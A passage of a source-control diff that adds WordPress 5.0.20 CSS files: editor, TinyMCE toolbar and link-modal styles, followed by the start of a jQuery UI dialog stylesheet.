+.mce-menubar .mce-menubtn:focus {
+	color: #124964;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+div.mce-menu .mce-menu-item-sep,
+.mce-menu-item-sep:hover {
+	border-bottom: 1px solid #ddd;
+	height: 0px;
+	margin: 5px 0;
+}
+
+.mce-menubtn span {
+	margin-right: 0;
+	padding-left: 3px;
+}
+
+.mce-menu-has-icons i.mce-ico:before {
+	margin-left: -2px;
+}
+
+/* Keyboard shortcuts position */
+.mce-menu.mce-menu-align .mce-menu-item-normal {
+	position: relative;
+}
+
+.mce-menu.mce-menu-align .mce-menu-shortcut {
+	bottom: 0.6em;
+	font-size: 0.9em;
+}
+
+/* Buttons in modals */
+.mce-primary button,
+.mce-primary button i {
+	text-align: center;
+	color: #fff;
+	text-shadow: none;
+	padding: 0;
+	line-height: 26px;
+}
+
+.mce-window .mce-btn {
+	color: #555;
+	background: #f7f7f7;
+	text-decoration: none;
+	font-size: 13px;
+	line-height: 26px;
+	height: 28px;
+	margin: 0;
+	padding: 0;
+	cursor: pointer;
+	border: 1px solid #cccccc;
+	-webkit-appearance: none;
+	border-radius: 3px;
+	white-space: nowrap;
+	box-shadow: 0 1px 0 #cccccc;
+}
+
+/* Remove the dotted border on :focus and the extra padding in Firefox */
+.mce-window .mce-btn::-moz-focus-inner {
+	border-width: 0;
+	border-style: none;
+	padding: 0;
+}
+
+.mce-window .mce-btn:hover,
+.mce-window .mce-btn:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #23282d;
+}
+
+.mce-window .mce-btn:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.mce-window .mce-btn:active {
+	background: #eee;
+	border-color: #999;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+	transform: translateY(1px);
+}
+
+.mce-window .mce-btn.mce-disabled {
+	color: #a0a5aa !important;
+	border-color: #ddd !important;
+	background: #f7f7f7 !important;
+	box-shadow: none !important;
+	text-shadow: 0 1px 0 #fff !important;
+	cursor: default;
+	transform: none !important;
+}
+
+.mce-window .mce-btn.mce-primary {
+	background: #0085ba;
+	border-color: #0073aa #006799 #006799;
+	box-shadow: 0 1px 0 #006799;
+	color: #fff;
+	text-decoration: none;
+	text-shadow: 0 -1px 1px #006799,
+		1px 0 1px #006799,
+		0 1px 1px #006799,
+		-1px 0 1px #006799;
+}
+
+.mce-window .mce-btn.mce-primary:hover,
+.mce-window .mce-btn.mce-primary:focus {
+	background: #008ec2;
+	border-color: #006799;
+	color: #fff;
+}
+
+.mce-window .mce-btn.mce-primary:focus {
+	box-shadow: 0 1px 0 #0073aa,
+		0 0 2px 1px #33b3db;
+}
+
+.mce-window .mce-btn.mce-primary:active {
+	background: #0073aa;
+	border-color: #006799;
+	box-shadow: inset 0 2px 0 #006799;
+	vertical-align: top;
+}
+
+.mce-window .mce-btn.mce-primary.mce-disabled {
+	color: #66c6e4 !important;
+	background: #008ec2 !important;
+	border-color: #007cb2 !important;
+	box-shadow: none !important;
+	text-shadow: 0 -1px 0 rgba( 0, 0, 0, 0.1 ) !important;
+	cursor: default;
+}
+
+.mce-menubtn.mce-fixed-width span {
+	overflow-x: hidden;
+	text-overflow: ellipsis;
+	width: 82px;
+}
+
+/* Charmap modal */
+.mce-charmap {
+	margin: 3px;
+}
+
+.mce-charmap td {
+	padding: 0;
+	border-color: #ddd;
+	cursor: pointer;
+}
+
+.mce-charmap td:hover {
+	background: #f3f3f3;
+}
+
+.mce-charmap td div {
+	width: 18px;
+	height: 22px;
+	line-height: 22px;
+}
+
+/* TinyMCE tooltips */
+.mce-tooltip {
+	margin-top: 2px;
+}
+
+/* Don't show the tooltip. Used in Chrome RTL, see #42018 */
+.rtl .mce-tooltip.wp-hide-mce-tooltip {
+	display: none !important;
+}
+
+.mce-tooltip-inner {
+	border-radius: 3px;
+	box-shadow: 0 3px 5px rgba( 0, 0, 0, 0.2 );
+	color: #fff;
+	font-size: 12px;
+}
+
+/* TinyMCE icons */
+.mce-ico {
+	font-family: 'tinymce', Arial;
+}
+
+.mce-btn-small .mce-ico {
+    font-family: 'tinymce-small', Arial;
+}
+
+.mce-toolbar .mce-ico {
+	color: #555d66;
+	line-height: 20px;
+	width: 20px;
+	height: 20px;
+	text-align: center;
+	text-shadow: none;
+	margin: 0;
+	padding: 0;
+}
+
+.qt-dfw {
+	color: #555d66;
+	line-height: 20px;
+	width: 28px;
+	height: 26px;
+	text-align: center;
+	text-shadow: none;
+}
+
+.mce-toolbar .mce-btn .mce-open {
+	line-height: 20px;
+}
+
+.mce-toolbar .mce-btn:hover .mce-open,
+.mce-toolbar .mce-btn:focus .mce-open,
+.mce-toolbar .mce-btn.mce-active .mce-open {
+	border-left-color: #23282d;
+}
+
+div.mce-notification {
+	left: 10% !important;
+	right: 10%;
+}
+
+.mce-notification button.mce-close {
+	right: 6px;
+	top: 3px;
+	font-weight: 400;
+	color: #555d66;
+}
+
+.mce-notification button.mce-close:hover,
+.mce-notification button.mce-close:focus {
+	color: #000;
+}
+
+i.mce-i-bold,
+i.mce-i-italic,
+i.mce-i-bullist,
+i.mce-i-numlist,
+i.mce-i-blockquote,
+i.mce-i-alignleft,
+i.mce-i-aligncenter,
+i.mce-i-alignright,
+i.mce-i-link,
+i.mce-i-unlink,
+i.mce-i-wp_more,
+i.mce-i-strikethrough,
+i.mce-i-spellchecker,
+i.mce-i-fullscreen,
+i.mce-i-wp_fullscreen,
+i.mce-i-dfw,
+i.mce-i-wp_adv,
+i.mce-i-underline,
+i.mce-i-alignjustify,
+i.mce-i-forecolor,
+i.mce-i-backcolor,
+i.mce-i-pastetext,
+i.mce-i-pasteword,
+i.mce-i-removeformat,
+i.mce-i-charmap,
+i.mce-i-outdent,
+i.mce-i-indent,
+i.mce-i-undo,
+i.mce-i-redo,
+i.mce-i-help,
+i.mce-i-wp_help,
+i.mce-i-wp-media-library,
+i.mce-i-ltr,
+i.mce-i-wp_page,
+i.mce-i-hr,
+i.mce-i-wp_code,
+i.mce-i-dashicon,
+i.mce-i-remove {
+	font: normal 20px/1 dashicons;
+	padding: 0;
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	margin-left: -2px;
+	padding-right: 2px;
+}
+
+.qt-dfw {
+	font: normal 20px/1 dashicons;
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+i.mce-i-bold:before {
+	content: "\f200";
+}
+
+i.mce-i-italic:before {
+	content: "\f201";
+}
+
+i.mce-i-bullist:before {
+	content: "\f203";
+}
+
+i.mce-i-numlist:before {
+	content: "\f204";
+}
+
+i.mce-i-blockquote:before {
+	content: "\f205";
+}
+
+i.mce-i-alignleft:before {
+	content: "\f206";
+}
+
+i.mce-i-aligncenter:before {
+	content: "\f207";
+}
+
+i.mce-i-alignright:before {
+	content: "\f208";
+}
+
+i.mce-i-link:before {
+	content: "\f103";
+}
+
+i.mce-i-unlink:before {
+	content: "\f225";
+}
+
+i.mce-i-wp_more:before {
+	content: "\f209";
+}
+
+i.mce-i-strikethrough:before {
+	content: "\f224";
+}
+
+i.mce-i-spellchecker:before {
+	content: "\f210";
+}
+
+i.mce-i-fullscreen:before,
+i.mce-i-wp_fullscreen:before,
+i.mce-i-dfw:before,
+.qt-dfw:before {
+	content: "\f211";
+}
+
+i.mce-i-wp_adv:before {
+	content: "\f212";
+}
+
+i.mce-i-underline:before {
+	content: "\f213";
+}
+
+i.mce-i-alignjustify:before {
+	content: "\f214";
+}
+
+i.mce-i-forecolor:before,
+i.mce-i-backcolor:before {
+	content: "\f215";
+}
+
+i.mce-i-pastetext:before {
+	content: "\f217";
+}
+
+i.mce-i-removeformat:before {
+	content: "\f218";
+}
+
+i.mce-i-charmap:before {
+	content: "\f220";
+}
+
+i.mce-i-outdent:before {
+	content: "\f221";
+}
+
+i.mce-i-indent:before {
+	content: "\f222";
+}
+
+i.mce-i-undo:before {
+	content: "\f171";
+}
+
+i.mce-i-redo:before {
+	content: "\f172";
+}
+
+i.mce-i-help:before,
+i.mce-i-wp_help:before {
+	content: "\f223";
+}
+
+i.mce-i-wp-media-library:before {
+	content: "\f104";
+}
+
+i.mce-i-ltr:before {
+	content: "\f320";
+}
+
+i.mce-i-wp_page:before {
+	content: "\f105";
+}
+
+i.mce-i-hr:before {
+	content: "\f460";
+}
+
+i.mce-i-remove:before {
+	content: "\f158";
+}
+
+i.mce-i-wp_code:before {
+	content: "\f475";
+}
+
+/* RTL button icons */
+.rtl i.mce-i-outdent:before {
+	content: "\f222";
+}
+
+.rtl i.mce-i-indent:before {
+	content: "\f221";
+}
+
+/* Editors */
+.wp-editor-wrap {
+	position: relative;
+}
+
+.wp-editor-tools {
+	position: relative;
+	z-index: 1;
+}
+
+.wp-editor-tools:after {
+	clear: both;
+	content: "";
+	display: table;
+}
+
+.wp-editor-container {
+	clear: both;
+	border: 1px solid #e5e5e5;
+}
+
+.wp-editor-area {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 13px;
+	padding: 10px;
+	margin: 1px 0 0;
+	line-height: 150%;
+	border: 0;
+	outline: none;
+	display: block;
+	resize: vertical;
+	box-sizing: border-box;
+}
+
+.rtl .wp-editor-area {
+	font-family: Tahoma, Monaco, monospace;
+}
+
+.locale-he-il .wp-editor-area {
+	font-family: Arial, Monaco, monospace;
+}
+
+.wp-editor-container textarea.wp-editor-area {
+	width: 100%;
+	margin: 0;
+	box-shadow: none;
+}
+
+.wp-editor-tabs {
+	float: right;
+}
+
+.wp-switch-editor {
+	float: left;
+	box-sizing: content-box;
+	position: relative;
+	top: 1px;
+	background: #ebebeb;
+	color: #666;
+	cursor: pointer;
+	font-size: 13px;
+	line-height: 19px;
+	height: 20px;
+	margin: 5px 0 0 5px;
+	padding: 3px 8px 4px;
+	border: 1px solid #e5e5e5;
+}
+
+.wp-switch-editor:focus {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+	outline: none;
+	color: #23282d;
+}
+
+.wp-switch-editor:active,
+.html-active .switch-html:focus,
+.tmce-active .switch-tmce:focus {
+	box-shadow: none;
+}
+
+.wp-switch-editor:active {
+	background-color: #f5f5f5;
+	box-shadow: none;
+}
+
+.js .tmce-active .wp-editor-area {
+	color: #fff;
+}
+
+.tmce-active .quicktags-toolbar {
+	 display: none;
+}
+
+.tmce-active .switch-tmce,
+.html-active .switch-html {
+	background: #f5f5f5;
+	color: #555;
+	border-bottom-color: #f5f5f5;
+}
+
+.wp-media-buttons {
+	float: left;
+}
+
+.wp-media-buttons .button {
+	margin-right: 5px;
+	margin-bottom: 4px;
+	padding-left: 7px;
+	padding-right: 7px;
+}
+
+.wp-media-buttons .button:active {
+	position: relative;
+	top: 1px;
+	margin-top: -1px;
+	margin-bottom: 1px;
+}
+
+.wp-media-buttons .insert-media {
+	padding-left: 5px;
+}
+
+.wp-media-buttons a {
+	text-decoration: none;
+	color: #444;
+	font-size: 12px;
+}
+
+.wp-media-buttons img {
+	padding: 0 4px;
+	vertical-align: middle;
+}
+
+.wp-media-buttons span.wp-media-buttons-icon {
+	display: inline-block;
+	width: 18px;
+	height: 18px;
+	vertical-align: text-top;
+	margin: 0 2px;
+}
+
+.wp-media-buttons .add_media span.wp-media-buttons-icon {
+	background: none;
+}
+
+.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
+	font: normal 18px/1 dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-media-buttons .add_media span.wp-media-buttons-icon:before {
+	content: "\f104";
+}
+
+/* Quicktags */
+.quicktags-toolbar {
+	padding: 3px;
+	position: relative;
+	border-bottom: 1px solid #ddd;
+	background: #f5f5f5;
+	min-height: 30px;
+}
+
+.has-dfw .quicktags-toolbar {
+	padding-right: 35px;
+}
+
+.wp-core-ui .quicktags-toolbar input.button.button-small {
+	margin: 2px;
+}
+
+.quicktags-toolbar input[value="link"] {
+	text-decoration: underline;
+}
+
+.quicktags-toolbar input[value="del"] {
+	text-decoration: line-through;
+}
+
+.quicktags-toolbar input[value="i"] {
+	font-style: italic;
+}
+
+.quicktags-toolbar input[value="b"] {
+	font-weight: 600;
+}
+
+.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw,
+.qt-dfw {
+	position: absolute;
+	top: 0;
+	right: 0;
+	margin: 5px 5px 0 0;
+}
+
+.qt-fullscreen {
+	position: static;
+	margin: 2px;
+}
+
+@media screen and ( max-width: 782px ) {
+	.mce-toolbar .mce-btn button,
+	.qt-dfw {
+		padding: 6px 7px;
+	}
+
+	/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
+	.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
+		padding: 6px 7px 5px;
+	}
+
+	.mce-toolbar .mce-btn-group .mce-btn {
+		margin: 1px;
+	}
+
+	.qt-dfw {
+		width: 36px;
+		height: 34px;
+	}
+
+	.mce-toolbar .mce-btn-group .mce-btn.mce-wp-dfw {
+		margin: 4px 4px 0 0;
+	}
+
+	.mce-toolbar .mce-colorbutton .mce-preview {
+		left: 8px;
+		bottom: 6px;
+	}
+
+	.mce-window .mce-btn {
+		padding: 2px 0;
+	}
+
+	.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first,
+	.has-dfw .quicktags-toolbar {
+		padding-right: 40px;
+	}
+}
+
+@media screen and ( min-width: 782px ) {
+	.wp-core-ui .quicktags-toolbar input.button.button-small {
+		/* .button-small is normally 11px, but a bit too small for these buttons. */
+		font-size: 12px;
+		height: 26px;
+		line-height: 24px;
+	}
+}
+
+#wp_editbtns,
+#wp_gallerybtns {
+	padding: 2px;
+	position: absolute;
+	display: none;
+	z-index: 100020;
+}
+
+#wp_editimgbtn,
+#wp_delimgbtn,
+#wp_editgallery,
+#wp_delgallery {
+	border-color: #999;
+	background-color: #eee;
+	margin: 2px;
+	padding: 2px;
+	border-width: 1px;
+	border-style: solid;
+	border-radius: 3px;
+}
+
+#wp_editimgbtn:hover,
+#wp_delimgbtn:hover,
+#wp_editgallery:hover,
+#wp_delgallery:hover {
+	border-color: #555;
+	background-color: #ccc;
+}
+
+/*------------------------------------------------------------------------------
+ wp-link
+------------------------------------------------------------------------------*/
+
+#wp-link-wrap {
+	display: none;
+	background-color: #fff;
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	width: 500px;
+	overflow: hidden;
+	margin-left: -250px;
+	margin-top: -125px;
+	position: fixed;
+	top: 50%;
+	left: 50%;
+	z-index: 100105;
+	transition: height 0.2s, margin-top 0.2s;
+}
+
+#wp-link-backdrop {
+	display: none;
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	min-height: 360px;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 100100;
+}
+
+#wp-link {
+	position: relative;
+	height: 100%;
+}
+
+#wp-link-wrap {
+	height: 500px;
+	margin-top: -250px;
+}
+
+#wp-link-wrap .wp-link-text-field {
+	display: none;
+}
+
+#wp-link-wrap.has-text-field .wp-link-text-field {
+	display: block;
+}
+
+#link-modal-title {
+	background: #fcfcfc;
+	border-bottom: 1px solid #ddd;
+	height: 36px;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	margin: 0;
+	padding: 0 36px 0 16px;
+}
+
+#wp-link-close {
+	color: #666;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	width: 36px;
+	height: 36px;
+	text-align: center;
+	background: none;
+	border: none;
+	cursor: pointer;
+}
+
+#wp-link-close:before {
+	font: normal 20px/36px dashicons;
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	width: 36px;
+	height: 36px;
+	content: "\f158";
+}
+
+#wp-link-close:hover,
+#wp-link-close:focus {
+	color: #00a0d2;
+}
+
+#wp-link-close:focus {
+	outline: none;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+#wp-link-wrap #link-selector {
+	-webkit-overflow-scrolling: touch;
+	padding: 0 16px;
+	position: absolute;
+	top: 37px;
+	left: 0;
+	right: 0;
+	bottom: 44px;
+}
+
+#wp-link ol,
+#wp-link ul {
+	list-style: none;
+	margin: 0;
+	padding: 0;
+}
+
+#wp-link input[type="text"] {
+	box-sizing: border-box;
+}
+
+#wp-link #link-options {
+	padding: 8px 0 12px;
+}
+
+#wp-link p.howto {
+	margin: 3px 0;
+}
+
+#wp-link p.howto a {
+	text-decoration: none;
+	color: inherit;
+}
+
+#wp-link label input[type="text"] {
+	margin-top: 5px;
+	width: 70%;
+}
+
+#wp-link #link-options label span,
+#wp-link #search-panel label span.search-label {
+	display: inline-block;
+	width: 80px;
+	text-align: right;
+	padding-right: 5px;
+	max-width: 24%;
+	vertical-align: middle;
+	word-wrap: break-word;
+}
+
+#wp-link .link-search-field {
+	float: left;
+	width: 250px;
+	max-width: 70%;
+}
+
+#wp-link .link-search-wrapper {
+	margin: 5px 0 9px;
+	display: block;
+	overflow: hidden;
+}
+
+#wp-link .link-search-wrapper span {
+	float: left;
+	margin-top: 4px;
+}
+
+#wp-link .link-search-wrapper .spinner {
+	margin-top: 5px;
+}
+
+#wp-link .link-target {
+	padding: 3px 0 0;
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+#wp-link .link-target label {
+	max-width: 70%;
+}
+
+#wp-link .query-results {
+	border: 1px #dfdfdf solid;
+	margin: 0 0 12px;
+	background: #fff;
+	overflow: auto;
+	position: absolute;
+	left: 16px;
+	right: 16px;
+	bottom: 0;
+	top: 166px;
+}
+
+.has-text-field #wp-link .query-results {
+	top: 200px;
+}
+
+#wp-link li {
+	clear: both;
+	margin-bottom: 0;
+	border-bottom: 1px solid #f1f1f1;
+	color: #32373c;
+	padding: 4px 6px 4px 10px;
+	cursor: pointer;
+	position: relative;
+}
+
+#wp-link .query-notice {
+	padding: 0;
+	border-bottom: 1px solid #dfdfdf;
+	background-color: #f7fcfe;
+	color: #000;
+}
+
+#wp-link .query-notice .query-notice-default,
+#wp-link .query-notice .query-notice-hint {
+	display: block;
+	padding: 6px;
+	border-left: 4px solid #00a0d2;
+}
+
+#wp-link .unselectable.no-matches-found {
+	padding: 0;
+	border-bottom: 1px solid #dfdfdf;
+	background-color: #fef7f1;
+}
+
+#wp-link .no-matches-found .item-title {
+	display: block;
+	padding: 6px;
+	border-left: 4px solid #d54e21;
+}
+
+#wp-link .query-results em {
+	font-style: normal;
+}
+
+#wp-link li:hover {
+	background: #eaf2fa;
+	color: #151515;
+}
+
+#wp-link li.unselectable {
+	border-bottom: 1px solid #dfdfdf;
+}
+
+#wp-link li.unselectable:hover {
+	background: #fff;
+	cursor: auto;
+	color: #32373c;
+}
+
+#wp-link li.selected {
+	background: #ddd;
+	color: #32373c;
+}
+
+#wp-link li.selected .item-title {
+	font-weight: 600;
+}
+
+#wp-link li:last-child {
+	border: none;
+}
+
+#wp-link .item-title {
+	display: inline-block;
+	width: 80%;
+	width: calc(100% - 68px);
+	word-wrap: break-word;
+}
+
+#wp-link .item-info {
+	text-transform: uppercase;
+	color: #666;
+	font-size: 11px;
+	position: absolute;
+	right: 5px;
+	top: 5px;
+}
+
+#wp-link .river-waiting {
+	display: none;
+	padding: 10px 0;
+}
+
+#wp-link .submitbox {
+	padding: 8px 16px;
+	background: #fcfcfc;
+	border-top: 1px solid #ddd;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	right: 0;
+}
+
+#wp-link-cancel {
+	line-height: 25px;
+	float: left;
+}
+
+#wp-link-update {
+	line-height: 23px;
+	float: right;
+}
+
+#wp-link-submit {
+	float: right;
+}
+
+@media screen and ( max-width: 782px ) {
+	#wp-link-wrap {
+		margin-top: -140px;
+	}
+
+	#wp-link-wrap .query-results {
+		top: 195px;
+	}
+
+	#wp-link-wrap.has-text-field .query-results {
+		top: 235px;
+	}
+
+	#link-selector {
+		padding: 0 16px 60px;
+	}
+
+	#wp-link-wrap #link-selector {
+		bottom: 52px;
+	}
+
+	#wp-link-cancel {
+		line-height: 32px;
+	}
+
+	#wp-link .link-target {
+		padding-top: 10px;
+	}
+
+	#wp-link .submitbox .button {
+		margin-bottom: 0;
+	}
+}
+
+@media screen and ( max-width: 520px ) {
+	#wp-link-wrap {
+		width: auto;
+		margin-left: 0;
+		left: 10px;
+		right: 10px;
+		max-width: 500px;
+	}
+}
+
+@media screen and ( max-height: 520px ) {
+	#wp-link-wrap {
+		transition: none;
+		height: auto;
+		margin-top: 0;
+		top: 10px;
+		bottom: 10px;
+	}
+
+	#link-selector {
+		overflow: auto;
+	}
+
+	#search-panel .query-results {
+		position: static;
+	}
+}
+
+@media screen and ( max-height: 290px ) {
+	#wp-link-wrap {
+		height: auto;
+		margin-top: 0;
+		top: 10px;
+		bottom: 10px;
+	}
+
+	#link-selector {
+		overflow: auto;
+		height: calc(100% - 92px);
+		padding-bottom: 2px;
+	}
+
+	#search-panel .query-results {
+		position: static;
+	}
+}
+
+div.wp-link-preview {
+	float: left;
+	margin: 5px;
+	max-width: 694px;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+div.wp-link-preview a {
+	color: #0073aa;
+	text-decoration: underline;
+	transition-property: border, background, color;
+	transition-duration: .05s;
+	transition-timing-function: ease-in-out;
+	cursor: pointer;
+}
+
+div.wp-link-preview a.wplink-url-error {
+	color: #dc3232;
+}
+
+div.wp-link-input {
+	float: left;
+	margin: 2px;
+	max-width: 694px;
+}
+
+div.wp-link-input input {
+	width: 300px;
+	padding: 3px;
+	box-sizing: border-box;
+}
+
+.mce-toolbar div.wp-link-preview ~ .mce-btn,
+.mce-toolbar div.wp-link-input ~ .mce-btn {
+	margin: 2px 1px;
+}
+
+.mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child {
+	margin-right: 2px;
+}
+
+.ui-autocomplete.wplink-autocomplete {
+	z-index: 100110;
+	max-height: 200px;
+	overflow-y: auto;
+	padding: 0;
+	margin: 0;
+	list-style: none;
+	position: absolute;
+	border: 1px solid #5b9dd9;
+	box-shadow: 0 1px 2px rgba( 30, 140, 190, 0.8 );
+	background-color: #fff;
+}
+
+.ui-autocomplete.wplink-autocomplete li {
+	margin-bottom: 0;
+	padding: 4px 10px;
+	clear: both;
+	white-space: normal;
+	text-align: left;
+}
+
+.ui-autocomplete.wplink-autocomplete li .wp-editor-float-right {
+	float: right;
+}
+
+.ui-autocomplete.wplink-autocomplete li.ui-state-focus {
+	background-color: #ddd;
+	cursor: pointer;
+}
+
+@media screen and ( max-width: 782px ) {
+	div.wp-link-preview,
+	div.wp-link-input {
+		max-width: 70%;
+		max-width: calc(100% - 86px);
+	}
+
+	div.wp-link-preview {
+		margin: 8px 0 8px 5px;
+	}
+
+	div.wp-link-input {
+		width: 300px;
+	}
+
+	div.wp-link-input input {
+		width: 100%;
+		font-size: 16px;
+		padding: 5px;
+	}
+}
+
+/* =Overlay Body
+-------------------------------------------------------------- */
+
+.mce-fullscreen {
+	z-index: 100010;
+}
+
+/* =Localization
+-------------------------------------------------------------- */
+.rtl .wp-switch-editor,
+.rtl .quicktags-toolbar input {
+	font-family: Tahoma, sans-serif;
+}
+
+/* rtl:ignore */
+.mce-rtl .mce-flow-layout .mce-flow-layout-item > div {
+	direction: rtl;
+}
+
+/* rtl:ignore */
+.mce-rtl .mce-listbox i.mce-caret {
+	left: 6px;
+}
+
+html:lang(he-il) .rtl .wp-switch-editor,
+html:lang(he-il) .rtl .quicktags-toolbar input  {
+ 	font-family: Arial, sans-serif;
+}
+
+/* HiDPI */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.wp-media-buttons .add_media span.wp-media-buttons-icon {
+		background: none;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/css/jquery-ui-dialog.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/jquery-ui-dialog.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/jquery-ui-dialog.css	(revision 56912)
@@ -0,0 +1,349 @@
+/*!
+ * jQuery UI CSS Framework 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/category/theming/
+ */
+
+/* Layout helpers
+----------------------------------*/
+.ui-helper-hidden {
+	display: none;
+}
+.ui-helper-hidden-accessible {
+	border: 0;
+	clip: rect(0 0 0 0);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+}
+.ui-helper-reset {
+	margin: 0;
+	padding: 0;
+	border: 0;
+	outline: 0;
+	line-height: 1.3;
+	text-decoration: none;
+	font-size: 100%;
+	list-style: none;
+}
+.ui-helper-clearfix:before,
+.ui-helper-clearfix:after {
+	content: "";
+	display: table;
+	border-collapse: collapse;
+}
+.ui-helper-clearfix:after {
+	clear: both;
+}
+.ui-helper-clearfix {
+	min-height: 0; /* support: IE7 */
+}
+.ui-helper-zfix {
+	width: 100%;
+	height: 100%;
+	top: 0;
+	left: 0;
+	position: absolute;
+	opacity: 0;
+	filter:Alpha(Opacity=0); /* support: IE8 */
+}
+
+.ui-front {
+	z-index: 100;
+}
+
+
+/* Interaction Cues
+----------------------------------*/
+.ui-state-disabled {
+	cursor: default !important;
+}
+
+
+/* Icons
+----------------------------------*/
+
+/* states and images */
+.ui-icon {
+	display: block;
+	text-indent: -99999px;
+	overflow: hidden;
+	background-repeat: no-repeat;
+}
+
+
+/* Misc visuals
+----------------------------------*/
+
+/* Overlays */
+.ui-widget-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+}
+
+/*!
+ * jQuery UI Resizable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+.ui-resizable {
+	position: relative;
+}
+.ui-resizable-handle {
+	position: absolute;
+	font-size: 0.1px;
+	display: block;
+	touch-action: none;
+}
+.ui-resizable-disabled .ui-resizable-handle,
+.ui-resizable-autohide .ui-resizable-handle {
+	display: none;
+}
+.ui-resizable-n {
+	cursor: n-resize;
+	height: 7px;
+	width: 100%;
+	top: -5px;
+	left: 0;
+}
+.ui-resizable-s {
+	cursor: s-resize;
+	height: 7px;
+	width: 100%;
+	bottom: -5px;
+	left: 0;
+}
+/* rtl:ignore */
+.ui-resizable-e {
+	cursor: e-resize;
+	width: 7px;
+	right: -5px;
+	top: 0;
+	height: 100%;
+}
+/* rtl:ignore */
+.ui-resizable-w {
+	cursor: w-resize;
+	width: 7px;
+	left: -5px;
+	top: 0;
+	height: 100%;
+}
+/* rtl:ignore */
+.ui-resizable-se {
+	cursor: se-resize;
+	width: 12px;
+	height: 12px;
+	right: 1px;
+	bottom: 1px;
+}
+/* rtl:ignore */
+.ui-resizable-sw {
+	cursor: sw-resize;
+	width: 9px;
+	height: 9px;
+	left: -5px;
+	bottom: -5px;
+}
+/* rtl:ignore */
+.ui-resizable-nw {
+	cursor: nw-resize;
+	width: 9px;
+	height: 9px;
+	left: -5px;
+	top: -5px;
+}
+/* rtl:ignore */
+.ui-resizable-ne {
+	cursor: ne-resize;
+	width: 9px;
+	height: 9px;
+	right: -5px;
+	top: -5px;
+}
+
+/* WP buttons: see buttons.css. */
+
+.ui-button {
+	display: inline-block;
+	text-decoration: none;
+	font-size: 13px;
+	line-height: 26px;
+	height: 28px;
+	margin: 0;
+	padding: 0 10px 1px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-webkit-appearance: none;
+	border-radius: 3px;
+	white-space: nowrap;
+	box-sizing: border-box;
+	color: #555;
+	border-color: #cccccc;
+	background: #f7f7f7;
+	box-shadow: 0 1px 0 #cccccc;
+ 	vertical-align: top;
+}
+
+.ui-button:active,
+.ui-button:focus {
+	outline: none;
+}
+
+/* Remove the dotted border on :focus and the extra padding in Firefox */
+.ui-button::-moz-focus-inner {
+	border-width: 0;
+	border-style: none;
+	padding: 0;
+}
+
+.ui-button:hover,
+.ui-button:focus {
+	background: #fafafa;
+	border-color: #999;
+	color: #23282d;
+}
+
+.ui-button:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+}
+
+.ui-button:active {
+	background: #eee;
+	border-color: #999;
+	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+	transform: translateY(1px);
+}
+
+.ui-button[disabled],
+.ui-button:disabled {
+	color: #a0a5aa !important;
+	border-color: #ddd !important;
+	background: #f7f7f7 !important;
+	box-shadow: none !important;
+	text-shadow: 0 1px 0 #fff !important;
+	cursor: default;
+	transform: none !important;
+}
+
+@media screen and ( max-width: 782px ) {
+
+	.ui-button {
+		padding: 6px 14px;
+		line-height: normal;
+		font-size: 14px;
+		vertical-align: middle;
+		height: auto;
+		margin-bottom: 4px;
+	}
+
+}
+
+/* WP Theme */
+
+.ui-dialog {
+	position: absolute;
+	top: 0;
+	left: 0;
+	z-index: 100102;
+	background-color: #fff;
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+}
+
+.ui-dialog-titlebar {
+	background: #fcfcfc;
+	border-bottom: 1px solid #dfdfdf;
+	height: 36px;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	padding: 0 36px 0 16px;
+}
+
